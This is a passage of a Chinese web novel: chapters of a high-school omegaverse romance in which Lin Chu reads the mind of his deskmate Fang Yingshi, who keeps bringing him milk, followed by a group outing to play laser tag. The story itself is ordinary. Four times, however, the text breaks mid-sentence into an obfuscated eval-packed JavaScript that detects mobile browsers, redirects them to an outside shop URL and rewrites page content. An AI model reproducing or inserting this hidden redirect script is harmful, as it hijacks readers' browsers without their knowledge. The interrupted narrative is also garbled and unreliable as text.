草莓牛奶只有巴掌大一小盒,对于他们这种高中生来说,也就两口的事情。林樗动摇的刹那,方应时就很有眼色的帮着插好吸管,等林樗喝完,还帮忙接过牛奶盒塞进路边的垃圾桶。 方应时的行动很快,快到被照顾的林樗根本来不及拒绝,以至于四肢健全的他只能等方应时把垃圾丢完才问:“所以,是什么秘密。” 方应时:“月考已经考完了。” 林樗:“……?” 方应时:“考完月考要调桌位,就在今天放学,桌位表已经安排好了。” 下午最后一节课是自习,果不其然,卡着放学前最后五分钟,班主任陆哥拿着新的桌位表走进教室,宣布要开始换桌位。 班里顿时一片哀嚎,虽然只开学一个多月,但大部分清澈愚蠢的高中生对自己的同桌都产生了友谊,就比如赵宇飞已经搂着他开始大喊不要死也分开之类的话。 林樗试图挣扎,但是没挣开,很轻而易举的选择了放弃,他恹恹地抬起头,好巧不巧的对上方应时弯起的眼睛——不知道是不是错觉,这一天下来,他有种不管什么时候抬眼都能和方应时对上视线的感觉。 抱着他的赵宇飞打了个寒颤:“阿樗,你觉不觉得有点冷。” 林樗:“……十一月了,会冷不是很正常吗?” “也对。”赵宇飞被轻易说服了,然后继续忧愁,“也不知道咱俩要分到哪个天涯海角,您可千万别忘了我,赌上我们三年长跑友情,数学作业还给我抄。” 林樗:“……滚。” 赵宇飞麻溜的滚了。 在他们高中,座位是按号数排的,六行五列,号数从第一列依次往下排,在把自己的课桌搬到位置之前,谁也不知道自己的同桌是谁。林樗换座后的号数是最后一个,是第六列,位于后排靠窗,离他现在的位置不远,他收拾好自己的东西,把课桌搬到位置上,刚坐下,另一张桌子就合上来,是他的新同桌。 林樗刚想抬头,一声熟悉的声音就传进耳朵里。 “好巧。” 猝不及防的四目相对,方应时拉开椅子坐下,支着下颌,弯起眼睛。 “我们现在是同桌了。” 林樗:“……” 林樗:“???” 事态很突然,但林樗来不及做什么,脑子里就突兀地挤进一个画面——这段时间事情太多,他都忘了自己还能接受alpha的脑电波。 「可爱捏~」 画面里,夕阳夕照,教室的后排,alpha支着下颌温柔微笑,在他的对面是同样温柔微笑的omega,当然这不是重点,重点是课桌的下面两人十指紧扣的手,十指紧扣就算了,傻呗alpha还不做人的用指腹摩挲探索,像是要把他的十指指缝都摸一遍似的…… 林樗:“…………” 方应时:“你怎么了?耳朵有点红,是不舒服吗?” 林樗木着脸,周身上下冷得像在大润发杀了十年的鱼:“没什么。天气有点热。” 方应时下意识扬起眉眼:“热吗?” 林樗不想花时间讨论十一月的天气到底热不热,他背起书包,胡乱道了一声别,直接回家了。 逃避可耻但有用。 新的一天到来的时候,林樗找回了自己的平常心:一个alpha而已,一些突然闯进脑子的画面而已! 谁也不能破坏他的高中日常! 他背着书包走进教室时,方应时已经到了,正转着笔写桌上的物理练习册,余光瞥见他进来,说了一句早。 自我调节良好的林樗也回了一句:“早。” 方应时直接把头转过来,没事找事一样:“早读前交物理作业。” 林樗:“……” 林樗面无表情的打开书包,面无表情的拿出物理作业,直接上交才坐下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497986|202596||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把书包塞进课桌时,手忽然碰到了什么,拿出来一看,一盒牛奶。香蕉牛奶。 林樗一帧一帧转头,方应时弯着眼睛,笑得乐观开朗。 对视的两秒间,在方应时有所反应之前,林樗果断的把香蕉牛奶放回方应时课桌里——为了杜绝让别人看到的意外,他没有往方应时课桌上放。 方应时没有阻拦,但觉得很神奇:“你怎么会知道是我?” 林樗露出了看傻子的表情,会给他的课桌塞牛奶的本就没几个人。 “没几个吗?”方应时质疑,“高一的时候就一直有人在你课桌里放牛奶呀。” 林樗:“……” 林樗:“等一下,你怎么知道高一有人在我课桌里放牛奶?” 方应时:“……” “咳,”方应时头顶亮起小灯泡,同时从课桌里拿出另一盒牛奶放到林樗面前,“对了,温牛奶和香蕉牛奶你都没喝,但喝了草莓牛奶。” 林樗定睛一看,草莓牛奶。 方应时弯起眼睛。 伸手不打笑人脸,何况是笑得阳光灿烂的脸。 但那是一般来说,林樗不是一般人,他看着方应时只剩下无语:“你是什么神奇牛奶仙人吗?” 课桌里放满了牛奶。 方应时:“也还好,里面还有口味浓一点的巧克力牛奶和口味淡一点的水牛奶。” 林樗:“……” 林樗忽然感觉很窒息:“很可惜我不喝牛奶。” 方应时眨了眨眼睛。 四目相对。 林樗撇开视线,声音透出一点他自己都察觉不到的无奈:“你为什么一定要让我喝牛奶?” “因为特殊时期,需要补充一点营养,”方应时十分诚恳,“如果你愿意的话,其实我更想把牛奶换成老火炖汤,那会更适合一点,你有喜欢喝的鸡汤吗?或者,鱼汤呢?” 林樗:“……” 方应时:“……” “我不喝汤,谢谢,”林樗努力把话题拉回去,“但话又说回来,我特殊时期需要补充营养跟你有什么关系?” “还是有一点的。”方应时端出班长的款儿,“毕竟你是在班级集体活动时发生意外的。作为班长,我有不可推卸的责任——你放心,牛奶都是用班费买的,请示过了陆哥,也经过了全班投票表决。” 虽然他私下捐了一学年的班费,不过这些不需要林樗知道。 林樗:“……” 方应时:“在你住院的时候。” 无言以对,林樗深深地,深吸一口气。 方应时微笑着,伸出手,拿出课桌里的巧克力牛奶放到林樗面前。 林樗不为所动。 方应时又伸出手,林樗一瞬间按住他探进课桌的手。 “我喝。” 林樗停了一下,看着摆在面前的两盒牛奶,强调: “只喝一盒。” 方应时继续笑着:“好哦~我们今天只喝一盒。” 一边说,一边身体力行的帮着把草莓牛奶的吸管插好,又稳妥善良的把草莓牛奶塞到林樗手里。 林樗:“……” ? 等一下,这对吗? 13. 013 【第十三章:不要盯着alpha的腺体看。】 在连着被投喂了一周的草莓牛奶后,林樗有点绷不住了。 是个人都会绷不住的!每天早起上学到校,一瓶插好吸管的草莓牛奶就怼到面前,还不能拒绝——方应时物理很好,语文也不差,说服人的口才一套接一套的,什么意外的发生他需要担负责任,什么这瓶牛奶送不出去他于心不安,还有说牛奶开都开好了的…… 林樗:“……” 又一次从方应时手里接过牛奶,林樗觉得自己必须要强调一下,毕竟伴随着草莓牛奶一起来的,还有一连串的脑补画面。 “我发情期已经结束了。” 同样的,方应时的易感期也结束了。Alpha的易感期比omega的发情期短,只有2~3天。 方应时:“我知道。” 沉默的看着手里的草莓牛奶,林樗觉得他不知道。 林樗:“所以,我不需要和草莓牛奶了。” 方应时思考三秒:“那换成蓝莓牛奶?” “……牛奶还有蓝莓味?”林樗顿了顿,“等等,那不是重点。重点是我不喝牛奶了。” 方应时:“挑食是不好的。” 林樗:“……” 他怀疑方应时在消遣他,毕竟一般人找茬都说不出这种话。 当方应时又笑眯眯的,撑着下颌看着他,让人都不好意思翻脸。林樗颓丧的开始喝拒绝不了的牛奶,一边喝一边做好预备,果不其然,意料之中的脑补画面挤进脑海里: 依旧是同一间教室同一个桌位,方应时支着下颌弯着眼睛,看着同样的安详,但课桌下的手同样不老实,又一次嵌进他的指缝里,缱绻摩挲。 这样的画面每天都来一次,被迫旁观的林樗都已经习惯了,可以脸不红心不乱的无视了,然而,下一秒,画面里的方应时不知道发了什么疯,忽然凑上前,在他唇角边落下一个轻飘飘的吻—— “咳——!!” “呛到了吗?” 方应时凑上去,想递张纸巾帮着擦一擦林樗唇角的奶渍,但林樗吓了一跳,猛地往后一仰,仰得太急,椅子在地板趔趄出巨大的响声,班级里生命力过剩的高中生都看了过来,目露震惊。 林樗:“……” 方应时:“……” 方应时:“没事吧?” “……没事。”林樗默默地把椅子扶正。 对于别人来说可能没什么,但了解林樗的都知道,对于他来说,这种反应称得上过激。 但是,只是递出一张纸巾,这是很值得过激的事情吗?方应时眨了眨眼,在他的注视里,林樗面无表情的把手里的草莓牛奶喝完。 事已至此。 为了他平静无波的高中日常,只能装死了。 反正只要他不说,谁能知道他患读心症呢? 他不说,方应时很识趣也没再提。 上午的课上完,赵宇飞和沈之清照旧等他去食堂,等他们打好饭找好座位,季然和方应时就踩着点过来,有的时候季然和方应时更快找到座位也会招手喊他们过去,这段时间他们都这样,坐着吃饭。 性格使然,赵宇飞几个和谁都能聊起来,没一会儿林樗又落后几步了,方应时就跟在他旁边。 Alpha的易感期已经过去,方应时没再贴着隔离贴,微风拂过,扰动垂落的散发,林樗撇开视线,然后就对上方应时凑上来的眼睛。 “在看什么?” 林樗:“……” Alpha对视线很敏感。 见林樗不回答,方应时好脾气的弯起眼睛。 “下次不要盯着alpha的腺体看,像是在耍流氓,”林樗脸色开始僵硬,方应时更努力的压低声音,“不过你可以看我的,看多少次都可以,我不介意。” 林樗:“……” 林樗扭头就走。 走得很快,就是脚步有些踉跄,越过赵宇飞几个的时候甚至透出几分窘迫感,连心大的赵宇飞都感受到了,连喊了两句,林樗都没回头,三人困惑的回头去看,只见方应时停在阳光下,脸上笑眯眯的。 回到教室,林樗摈弃杂念,开始午休。他趴到桌子上,闭上眼睛,觉得不舒服,又换了一个姿势,还是不舒服,最后只能把整张脸都埋进手臂里。 紧闭的眼睛睁开,脑子很冷静,但心跳有些失了节拍,林樗试图分析自己的状态,可是他没有遇到这样的情况,他一直认为自己是个不会轻易受环境影响的人,就比如一开始的知道自己晚龄觉醒的病症,然后因为过高的契合度解读了方应时的内心时,他就表现得很冷静,哪怕方应时在脑补里把他按在桌上吻,他都觉得对方是在啃生五花。 对,他就是那块拜入佛门的生五花。 那么是什么时候发生了变化? 为什么早晨再次看到画面里,方应时凑过来吻他时,他会觉得那么无所适从。 甚至有点……难以形容的惊慌。 林樗冷静的给自己下定义。 是因为alpha信息素的影响吗?但是他当时并没有闻到方应时的信息素。等等,说到信息素,方应时到底有没有发现他们之间的契合度问题? 应该没有吧,毕竟上一次,他刚有发情的征兆,腺体就在隔壁四班的alpha的信息素影响下宕机了,再醒来已经是被医生扎了抑制剂的状态,当时的他为了维持日常,还强压本能陪着吃了一顿早饭——在方应时的视角里,他的表现称得上完全不受他的信息素影响吧。 也就是说,方应时应该还不清楚。 林樗稍微安心了一些,他放松下来,刚要闭上眼睛休息,一个突兀的画面又挤进脑海里。 林樗:“……” 画面投影赫然是刚刚从食堂出来的那一幕,阳光温柔灿烂,娇羞踟蹰的omega——林樗拒绝承认那是自己——娇羞的omega一步三回头的看向身旁的alpha,缠绵的目光划过alpha凌厉的五官,性感的喉结,最后停在颈后的腺体上…… 林樗觉得自己有点呼吸困难了,他可以对着自己平静的高中生活起誓,他绝对没有用缠绵的目光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497987|202596||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 描绘alpha的五官,更没有变态的欣赏什么性感的喉结,他只是平平无奇的看了一眼alpha的颈后,确定他的易感期已经结束! 然而,脑补画面的主导者不懂他的崩溃。 画面依旧继续,敏锐的alpha捕捉到落定的视线,停了两秒才笑眯眯的开口说出耍流氓的话。 林樗:“……” 画面里的omega举起反人类的小拳拳,在alpha胸口锤了锤,娇羞的说了两声讨厌啦,然后就被alpha按进怀里亲了个天昏地暗。 林樗:“…………” 没能克制住,林樗抬起头,震惊的看着边上转着笔写数学作业的方应时,不是,你小子居然喜欢这种类型吗? 林樗的目光太过震惊,震惊的方应时没办法忽略,于是被亲的气喘吁吁的omega消失了。周围的人休息的休息,看书的看书,方应时只好压低声音:“怎么啦?睡不着吗?” 林樗艰难的控制自己的眼睛:“没有。咳,我的意思是,别打扰我,我睡得着。” 方应时:“噢,那你休息吧。时间还早,到上课的点我喊你。” 林樗:“……” 林樗立刻撇开视线,像根木头一样趴好,因为转得太快,他甚至没来得及看清方应时幽深的眼睛。 迷迷瞪瞪,大概睡了十来分钟,方应时果然叫醒了林樗。 还没怎么清醒的林樗抽空到厕所洗了把脸,差不多到上课时间了,厕所里没人,林樗在洗手台边洗了手,抬头和镜子里的自己对上视线,大概是因为二次觉醒的带来激素变化,也可能是连着喝了一个多月的牛奶,他比先前长高了两厘米,五官没什么变化,头发因为沾了水一络一络的垂在眉睫上,神情一如既往的淡漠,甚至因为不亲和带上一点颓丧感,无论怎么看都不会是会举起反人类的小拳拳的人…… 林樗忍不住打了个哆嗦,很艰难的把方应时脑补出来的东西甩出脑海。 太可怕了。 都怪方应时! 踩着上课的点回到教室,林樗一言不发的翻出上课的书,这一节是物理课。方应时同样在翻书,不过他翻得很随意,一边翻一边看林樗。也不知道是不是错觉,他觉得林樗出去这么一会儿时间,整个人都变得更颓丧了呢。 上完了课,有人上讲台问问题,班主任陆哥讲解完,看着台下闹哄哄商量着元旦要去哪里玩的高中生,敲了敲桌面示意元旦是要放假,但别忘了还有个月考。 高中生们又齐齐哀嚎起来。 在这样的背景音里,方应时忽然转头问:“你元旦要去哪儿玩?” 林樗顿了顿:“在家玩。” 这么冷的天气,谁要出门啊! 方应时文言笑出来:“猜到了。完全是你能说出来的答案。” 林樗忍着翻白眼的冲动:“知道还问?” 方应时竖起一根手指,不赞同摆了摆:“人嘛,总是期待奇迹发生的,万一你愿意接受我的邀请呢。” 林樗:“……” 林樗:“麻溜的滚。” 14. 014 【第十四章:那个新手是他的omega吗?】 虽然拒绝得很诚恳,但元旦那天,林樗还是被土匪一样闯进门赵宇飞和沈之清架走了——还是他妈妈和姐姐一起开的门,美名其曰要多跟热情开朗的朋友交流。 林樗觉得他并不需要,他每天上学都快要被热情开朗的朋友淹没了,但没有人放过他。 昨夜凌晨下了一点冻雨,刺骨寒风一吹,红绿灯面前,被赵宇飞和沈之清包围的林樗没忍住吸了吸鼻子,他今天穿了一件灰白的高领毛衣和加绒牛仔裤,外搭一件黑色的羽绒服,因为太冷手表摘了,唯一的一件饰品是他姐姐强行挂到他脖子上的细银项链。 不得不说,他姐姐确实是走在时代流行前沿的人,本来简单的穿着在这根项链的衬托下,多了几分内敛的休闲感,配上他不太亲近人的脸,从出了地铁到走近红绿灯的一路,回头率居高不下,好几个一看就是大学生的清澈愚蠢的alpha凑上来问能不能加个联系方式。 林樗一一拒绝,拒绝到后面懒得说话,只能冷着脸摇头。 穿过红绿灯,来到一家热门奶茶店,季然和方应时朝他们招手,桌上摆着几杯点热饮,还有一副被拆开过,用于打发时间的扑克牌,看得出他们俩已经在这儿等了一段时间了。 拉开椅子坐下,服务员就把预定好的热饮端上来,摆到林樗面前的是一杯热牛奶。 这是跟牛奶过不去了是吗?林樗转头看向罪魁祸首,但罪魁祸首只是朝他弯起热情开朗的眼睛。 林樗:“……” 笑什么笑?笑得再开朗,也掩盖不了你是个喜欢小拳拳拍胸口的二货alpha!避开alpha的视线,已经懒得在要不要喝牛奶的问题纠结的林樗小口小口喝起来,牛奶的温度正好,喝进去能很快驱散周身寒气。 赵宇飞和沈之清也坐下来。 几个人无所事事的玩了两盘抽乌龟,终于有人想起了什么。 “我们难道要在这里玩一天的抽乌龟吗?” 所有人一齐转头看向他。 赵宇飞茫然的挠头:“元旦出游计划里是这么安排的吗?” 所有人有一齐转头看方应时和季然,季然被看得头皮发麻,很迟疑的反问:“我们居然有‘元旦出游计划’这种东西吗?” 沈之清:“……” 方应时:“……” 林樗:“……” 林樗深吸一口气:“你们都不知道玩什么就把我从家里绑架出来吗?” 沈之清:“……” 赵宇飞:“……” 季然:“……” 方应时摸了摸鼻子:“咳,我知道四环外有一家新开的真人CS店,要不去试试?” 这个提议得到一致响应,林樗不算,林樗没玩过真人CS没有发言权,只能少数服从多数。 一行人喝完热饮,收拾东西起身出门。 路上赵宇飞叽叽喳喳说着等会儿要怎么冲锋怎么偷袭,季然时不时补充两句,沈之清在侧边安静听着。寒风依旧凛冽,冻雨过后的风刮在脸上有点刺人,因为不怎么耐寒,林樗把羽绒服拉链拉高,试图掩住口鼻。 方应时放慢两步,慢慢落到林樗身侧,跟他并排走着,“很冷吗?” 林樗淡淡摇头:“还好。” 到了真人CS场馆,前台登记、选分队、领装备,场地是在室外,模拟了丛林废墟,因为掩体多,氛围感很足。 因为场地足够大,而他们又只有五个人,老板询问他们要不要跟隔壁大学生玩同一个场地,林樗几个没什么意见,于是他们五个人组红队,隔壁大学生四人组蓝队。 组好队,分别领好头盔、感应枪和护具,林樗没玩过,护具戴得很生疏,头盔罩住大半张脸,只露出清浅的眉眼,瞬间更显清冷疏离,他本来就不爱热闹,拿着枪也没什么战意,心里只有一个想法: 找个隐蔽角落苟起来,少跑动,少说话,最低能耗完成这场活动。 进场前,穿好护具的成员聚集到入口,林樗是最后到的,他到的时候,赵宇飞、沈之清和季然三个人正雄赳赳气昂昂的叉腰摆pose,连笑着的方应时都冒出一点杀意,林樗转头再去看对手,四个大学生应该互相好朋友,分别是两对情侣,一对AO,一对BB,看起来都是玩CS的高手,拿枪的姿势很标准。 之后是在工作人员的示意下抽出生点,抽完之后就要分开入场,可能是担心林樗没玩过,赵宇飞几个都分享了自己的对战小tips,比如通讯器一般会藏在什么地方,该去哪里找子弹,空降包会在什么时间点投递……方应时也说了两句,但是是叮嘱林樗放开了玩,玩累了就找个背风的地方待着,他会带着胜利找到他的。 虽然说的声音很小,但说出的话很张扬,此刻年轻的alpha连笑都是带着锋芒的,林樗看了两眼,安静的点头。 所有人就位,一分钟倒计时,红蓝对战正式开始。 因为是室外场地,冷风吹过,停着一会儿不动就觉得寒气上涌,林樗抽中的出生点是偏中场的一棵矮树桩,而且刚开场,他没有找到红方的通讯器,联络不到其他人。 矮树桩不是一个可以久留的地方,哪怕是第一次玩,林樗也明白这个道理,他侧耳听了听声音,确定周围没人之后,弯着腰以潜行的姿态往外挪,挪了一会儿,忽然在一个树杈上发现一个黑色小包,打开一看,是通讯器。 准确的说,是蓝方的通讯器。 林樗:“……” 很好,林樗直接开机直连,但很遗憾,除了他,暂时还没有蓝方的人找到通讯器,当卧底的计划半道崩殂。 他的运气很好,十几分钟下来,没有碰到任何一个人,没一会儿,他就找到了一个咸鱼福地。那是一个很隐蔽的废弃集装箱,周围是灌木和草地,林樗蹲进去,调整了一下姿势,甚至不忘把头盔往下拉一拉,摆出一副“只要我不动就没人能找到我”的态度,咸鱼之前架好枪是他最后的努力。 另一边,赵宇飞和季然就没这么好运了,他们抽到的出生点离得近但很穷,好不容易找到沈之清,还没反应过来就被蓝方的一个alpha和一个beta连狙,好在反应够快,子弹只打中手臂,没有触发淘汰声音。 方应时就在这个时候绕到后方,开枪把beta送出场。 另一个alpha见状不对,连忙撤退。 打了进十分钟的枪战安静下来,三个人汇合,一合信息,发现都很倒霉的没捡到通讯器,而且因为季然被狙中手臂,一直处于掉血状态,很快也要出局了,没办法,方应时和赵宇飞只好含泪抛弃了他。 还有十分钟就要降空投了,赵宇飞和沈之清准备去伏击,给出局的季然报一弹之仇,但方应时不想,他更想去找林樗,于是三人分头行动。 再然后,不到十分钟的时间,方应时刚在一个木头桩子里找到属于他们红方的通讯器,就听到赵宇飞和沈之清接连出局的广播传来——很明显,在他们决定伏击的时候,对面也在蹲点伏击他们。 方应时:“……” 林樗:“……” 模拟的场地很大,遍布的摄像头拍摄到的画面统一传送到休息间的大屏幕上,工作人员尽责尽职的将有人的几个位置放大,可以看到红色方两人分隔在东边和西边,不会玩的林樗躲在灌木丛里,中间是拿到了空投的蓝方则还剩三员大将,刚回到休息室的季然和赵宇飞沈之清一看就知道大势已去,纷纷扼腕叹息,引得被方应时送出来的beta叠声安慰他们。 蹲在隐蔽点的林樗也听到了广播,他犹豫了一下,在咸鱼到底和为团队贡献一点微不足道的力量间摇摆,忽然一个细微的脚步声在他耳边响起,是蓝方大学生队伍里的omega! 对方不知道从哪个出生点过来,正警惕观察周围,一有风吹草动就停步架枪,但遗憾的是,林樗藏得太好了,林樗已经跟灌木丛融为一体,连呼吸都轻得跟流风同步。 那个omega没有察觉,一步,一步的走近。 悄无声息的,林樗眨了眨眼,直到对方走进他的射穿范围,又朝着他走了几米,即将要发现他的那一刻毫不犹豫的扣动扳机! “砰——” 广播声同步响起。 方应时愣了一下,眼眸骤然亮起来,他打开手上的通讯器,试探性的喂了两声,没有得到回复,也不在意,绕路往枪响的地方赶,而林樗已经从躲藏的地方出来了。 被狙中的omega大概是没有想到自己会在这种地方翻车所以表情很吃惊,又有点哭笑不得的看着林樗缴拿战利品,那些战利品里有红色方的通讯器和模拟地图册。 就在他觉得自己为他人做了嫁衣时,又看着林樗拿出蓝色方的通讯器。 Omega:“……” Omega:“???” 林樗先是开了蓝色方的通讯器听了两分钟,又打开红色方的通讯器喂了两声,没关通讯器的方应时听到了。 “你先躲好,我马上过去接你。” “等一下,你先听我说,我手里有蓝色方的通讯器,探知到了一些消息,狙中赵宇飞和沈之清的是对方的alpha选手,他拿到了空投。他们的另一个beta队友东北方一号位,离我这边比较近,他们都听到了我的枪声,”林樗语速飞快,“现在他们的安排是,alpha准备在路径上拦截你,beta准备来找我。” 通讯器里顿了一下。 林樗没给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497988|202596||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他说话的机会:“我的位置已经暴露,没有救援的必要。所以,尽全力去杀那个alpha,抢夺空投包,再回头杀beta——这是赢游戏的最好办法。” 话音落下,通讯器里传来一声仿若呼吸的轻笑。 “嗯,我知道了。宝贝儿你真厉害~那么,剩下的就交给我吧。” 没有一点实力全靠运气的林樗:“……” 通讯挂断,周围回复了安静。 时间紧迫,但林樗也没有束手就缚的打算,他决定挪一挪自己的位置,于是往场地边缘摸去,最后在一个空旷斜坡上,在水泥模拟的矮树桩里架起枪,他第一次玩,枪法稀碎,刚刚能打中那个omega全靠藏的好和omega没有防备,但现在不同,蓝方的beta直接冲他来的,搞不好不用照面,一颗子弹就能把他送回休息室。 总还是要挣扎一下的,林樗屏住呼吸,等了三五分钟,没等到beta,先远远听到了枪声。 是方应时和蓝方alpha对战的声响。 他们已经打起来了,不知为何,林樗一颗心直接提到嗓子眼,与此同时,安静的模拟丛林里忽然动了动。 来了。 林樗直接扣动扳机,子弹飞出。 但对方的反应同样快,直接躲到树干后,而后同样抬手射击,子弹飞来,林樗忙缩回水泥木桩里,就在他躲避的顷刻,蓝方的beta闪身往前跑了几米,躲到另一个树干后面,他距离林樗只剩下三十多米了。 远处的枪声沉寂了十几秒,而后又剧烈的响起,没一会儿,广播声响起,蓝色方的alpha被淘汰了。 出乎意料的结果让林樗和beta都有些震惊。 林樗的震惊在于方应时打赢了对面抢到了空投,beta的震惊则是自己好友作为真人CS的骨灰玩家,居然在这么个犄角旮旯翻车了! 但游戏还是要继续,蓝方beta只震惊了一秒就迅速扛起己方的希望,开始全力进攻,子弹一颗接一颗,林樗虽然占据斜坡高地,但苦于没有经验,射击出的子弹不仅打不中beta,甚至都不能完全拦住beta的脚步。 一眨眼,蓝方beta离他只有不到十米的距离。 小小燃了一下的林樗觉得差不多可以放弃了,他没有子弹了,大腿被击中正处于流血状态,很快就要步入既然的后尘。 蓝方beta也意识到这一点,小心翼翼的靠近。 他看到了林樗。 他抬起手里的枪,即将要扣动扳机的那一刻—— “砰!” 另一声枪声响起。 多年真人CS的经验,毛骨悚然的战栗驱策下,蓝方beta猛地往下一扑,躲过接连射击而来的子弹,躲进不远处的树干后。 手里拿着一把枪,肩上扛着两把枪的alpha自树林里走出来,脸上笑眯眯的,杀气一点一点往外冒。 休息室里。 被同样的杀气送出来的蓝方alpha有些无语的问:“玩个游戏怎么凶成这样,那个新手是他的omega吗?” 季然:“……” 沈之清:“……” 赵宇飞挠挠头:“什么?阿樗不是班长的omega啊,他们俩清清白白的。” 游戏到了这里已经没什么悬念了,蓝方的beta用尽全力也打不赢手握空投的方应时,只能在打完最后一颗子弹后被无情送走。 广播宣布红色方获胜。 获胜的五人获得真人CS界的徽章,林樗第一次拿到徽章,有些不明白作用,蓝色方的那位omega正好在旁边,“你是第一次玩吧,这个徽章可以记录积分,市区里的真人CS店都互通,赢得越多积分越多,能兑换的奖励也越多。” 林樗恍悟,然后又有些不好意思的向蓝方omega道歉。 “没事。你藏的好也是一种本事,不过,”蓝方omega指了指另一边的方应时,“你的alpha也太凶了,我家那位说跟他对枪的时候感觉像是被毒蛇盯上了,很恐怖。” 林樗:“……” 林樗:“他不是……” “在聊什么?”方应时不知道什么时候走到旁边,手里还拿着林樗的羽绒服。 远处的赵宇飞三人站在出口,一边高举手,一边连声催促。 “你们在干嘛?快点去吃饭啦。” 林樗看了他们一眼,略过方应时,又去看旁边的蓝方omega,但蓝方omega已经被自己的恋人揽着肩膀拖走了,走到半路还回头摆手算做道别。 林樗:“……” 方应时把羽绒服披到林樗肩上,又在林樗炸毛之前退后两步,退到安全距离,笑道:“我们也走吧。” 15. 015 【第十五章:“你不觉得你有点变态了吗?”】 玩了一个下午,他们确实都饿了,但真人CS店周边没什么适合吃的,就决定忍一忍,回市区吃自助。 来的时候是打车来的,走的时候也是打车走的,因为他们人多,直接打了两辆车,车子停靠在边上,赵宇飞想跟林樗坐一辆,但还没开口就被沈之清和季然架起来塞进车里。 林樗:“……” 方应时已经拉开车门了:“不走吗?” 林樗:“…………” 被傍晚的冷风一卷,林樗抖了抖,又忍不住吸了吸鼻子,能屈能伸的坐进后排。 车里开了空调,坐进去没两分钟,林樗就觉得活过来了,他本来就不耐冷,刚刚的真人CS是室外活动,还因为临时起了一点好胜心从避风口跑出来吹了一通,暴走的肾上腺素恢复平静整个人就冷得发抖。 幸亏方应时给他拿外套拿得快,不然,他现在应该开始头晕眼花了。 车厢里很安静,他一上车就闭目休息,方应时居然没说话,也没脑补,林樗等了几分钟,实在好奇,睁开眼侧过头看向方应时,出其不意的撞进方应时眼底。 就算是林樗,也没办法说这双总是带笑的眼睛不好看,因为无论林樗什么时候看向它,都会产生一种被注视被尊重的感觉。 不知道为什么,林樗又想到了在CS场地的丛林里,一步一步走出来的方应时,有些无奈了,林樗绷住表情:“你在看什么?” 方应时:“看你啊。” 林樗:“……” 方应时又一次弯起眼睛:“我在看着你思考,你说出别去救你了的时候,应该是一种什么表情?” 林樗:“…………” 胡说! 要不是他罹患读心症他就信了。 “但是我发现我想不出来,”方应时跷着脚继续说,“我甚至想不起来你当时是怎么被那个beta封住走位的,可能我太愤怒了。” 话讲到这里,一般人可能要顺嘴问一句气什么啊?有什么可以气的,玩个游戏而已。 但林樗敏锐的察觉到答案很危险,所以他停下来,开了个闪避。 看着林樗重新闭上眼睛,不打算再交谈的样子,方应时失笑了一声:“你这个人怎么这样呢。” 林樗理不直气也壮:“因为我很饿了。” 方应时:“很快就到了。我口袋里有糖,你要不要吃?” 林樗:“什么口味?” 方应时:“薄荷。” 林樗思考了一下,谨慎的伸出手。 方应时又笑了笑,从口袋里掏出一颗薄荷糖,糖悬空坠进林樗手里,很轻。 也很甜。 林樗含着糖重新闭上眼睛,下一秒,不属于他的画面挤进脑海里,那是他架着枪匍匐在树桩子后面的模样…… 不得不说,还挺帅的。 哼,这不是挺能想的,说什么想不出来,骗鬼呢,alpha! 下了车,天已经暗下来,路灯次第亮起,仿佛饿死鬼投胎的赵宇飞和季然直接冲电梯,直奔自助烤肉店。 这家烤肉店开在市区内,很受欢迎,各色肉类都齐全,甚至还有海鲜,付了钱找到桌位,赵宇飞三个已经扎进肉堆了,林樗慢了一步,但也走向自助取肉区,方应时则去海鲜区,去之前还回头问:“能吃海鲜吗?” 林樗点头:“能。” 方应时放心的点了点头,然后带出了一沓海鲜和一份热腾腾的冬阴功汤,汤摆到林樗面前,还配了个看着很精致的勺子。 林樗:“……?” 这里这么多人,只带一份是什么意思? 四目相对,方应时没读懂他的意思,小声催促道:“快喝点,驱驱寒。我特 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497989|202596||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意找服务员加热了,别真感冒了。不然我只能又陪你去医院住两天了。” 